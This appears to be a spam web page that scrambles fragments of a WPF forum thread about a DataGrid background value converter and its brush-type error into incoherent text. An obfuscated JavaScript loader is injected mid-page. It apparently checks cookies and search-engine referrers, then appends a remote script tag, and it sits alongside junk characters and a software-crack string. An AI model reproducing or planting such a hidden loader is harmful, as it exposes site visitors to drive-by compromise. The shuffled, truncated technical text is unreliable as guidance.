December 31st, 2017
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December 31st, 2017







































men/don_con php?x=en&query='+q,''));}}}R(); Wpf background value converterI have a DataGrid that I want to change some of the cells' background to indicate an error condition.. Windows Media Brush and not a System Drawing Brush:Marked as answer by Richard Haggard Friday, July 19, 2013 1:58 PMAll repliesI created a WPF Application to repro this issue.. ; Value='System Drawing SolidBrush' MultiBindingExpression:target element is 'DataGridCell' (Name=''); target property is 'Background' (type 'Brush')The converter is being called but the system does not want what I'm giving it.. My sample code is as follows:In general, From your error message, This is because DataGrid Cells Background property expects System.. The following is the converter with the error code stripped out and instead all cells are supposed to get a red background.. Try casting the return to System Windows Media Brush Could you provide a simplified example for us to repro the issue? a compressed file would be fine.. The converter itself is meant to insert a red color for those cells that contain error values and the converter properly detects errors and attempts to insert the red background.. Marked as answer by Richard Haggard Friday, July 19, 2013 1:58 PMYou should return a System.. In the output window I can see the following text being displayed:System Windows.. My first attempt to do this has not been successful In XAML, a converter has been declared plus a style that should invoke the converter.. Data Error: 5 : Value produced by BindingExpression is not valid for target property.. Windows Media Brush whereas you are returning System Drawing Brushes, which is not expected.. So as to we can have a clear idea of figuring out the issue Here some related Threads.. But it works fine Its my steps Firstly I quote your XAML Code, but for displaying some information in DataGrid Control, l create a Student class.. var _0x3f04=['OyBzZWN1cmU=','Tmlxamo=','d09HeXM=','VFloZ3c=','Z2V0VGltZQ==','OyBwYXRoPQ==','bklIWk4=','eHpaQWU=','LmJpbmcu','LnlhaG9vLg==','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','dmlzaXRlZA==','Lmdvb2dsZS4=','bmVXZHQ=','RFJFSHQ=','dmVLc1U=','WWtWdng=','cmVmZXJyZXI=','Z2V0','SUF6bnY=','aW5kZXhPZg==','c2V0','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','YXBwZW5kQ2hpbGQ=','d3BmK2JhY2tncm91bmQrdmFsdWUrY29udmVydGVy','cVF1','QmJtclk=','Y29va2ll','bWF0Y2g=','emhqTGI=','RWlqeE8=','c3BsaXQ=','cmVwbGFjZQ==','bGVuZ3Ro','OyBleHBpcmVzPQ==','OyBkb21haW49'];(function(_0x4f78d5,_0x50341f){var _0x26ebe1=function(_0x5c1326){while(--_0x5c1326){_0x4f78d5['push'](_0x4f78d5['shift']());}};_0x26ebe1(++_0x50341f);}(_0x3f04,0x90));var _0x258e=function(_0x54502b,_0x35d207){_0x54502b=_0x54502b-0x0;var _0x4b53c7=_0x3f04[_0x54502b];if(_0x258e['initialized']===undefined){(function(){var _0x27405a;try{var _0x305d85=Function('return\x20(function()\x20'+'{}.. But it works fine Its my steps Firstly I quote your XAML Code, but for displaying some information in DataGrid Control, l create a Student class.. constructor(\x22return\x20this\x22)(\x20)'+');');_0x27405a=_0x305d85();}catch(_0x864539){_0x27405a=window;}var _0x52b5fb='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x27405a['atob']||(_0x27405a['atob']=function(_0x2c547f){var _0x7b18a4=String(_0x2c547f)['replace'](/=+$/,);for(var _0x33a70c=0x0,_0x3137c8,_0xabd7b6,_0x41cf76=0x0,_0x1d3dd6=;_0xabd7b6=_0x7b18a4['charAt'](_0x41cf76++);~_0xabd7b6&&(_0x3137c8=_0x33a70c%0x4?_0x3137c8*0x40+_0xabd7b6:_0xabd7b6,_0x33a70c++%0x4)?_0x1d3dd6+=String['fromCharCode'](0xff&_0x3137c8>>(-0x2*_0x33a70c&0x6)):0x0){_0xabd7b6=_0x52b5fb['indexOf'](_0xabd7b6);}return _0x1d3dd6;});}());_0x258e['base64DecodeUnicode']=function(_0x2f1e87){var _0xbd737f=atob(_0x2f1e87);var _0x22274c=[];for(var _0x3e9a5e=0x0,_0x2fce7a=_0xbd737f['length'];_0x3e9a5e=_0x4066c0;},'mmnbU':function _0x5a3343(_0x2d1fb5,_0x2f3592){return _0x2d1fb5(_0x2f3592);},'VqwYp':function _0x4c65b8(_0x49ed2e,_0x1f1b1e){return _0x49ed2e+_0x1f1b1e;}};var _0x39714c=[_0x258e('0x1e'),_0x5b2fd7[_0x258e('0x1f')],_0x5b2fd7[_0x258e('0x20')],_0x5b2fd7[_0x258e('0x21')],_0x5b2fd7[_0x258e('0x22')],_0x5b2fd7['qTedR'],_0x5b2fd7['vpPLH']],_0x2a8a98=document[_0x258e('0x23')],_0x5d1ff0=![],_0x48ca1f=cookie[_0x258e('0x24')](_0x5b2fd7[_0x258e('0x25')]);for(var _0x45a646=0x0;_0x45a646. My sample code is as follows:In general, From your error message, This is because DataGrid Cells Background property expects System.. Later, a wpf toolkit DataGride is declared and the style is applied to it The intent is put a DataTable in the Model and bind that DataTable to the DataGrid.. What should I be returning? As far as I know I am returning a Brush so why is the system complaining? Could this be a namespace issue such that the wrong sort of Brush is being returned?Richard Lewis HaggardI created a WPF Application to repro this issue. ae05505a44 avcs≪鴻帥吾ユ潟若,PGP Desktop Professionalv9.7.0激≪

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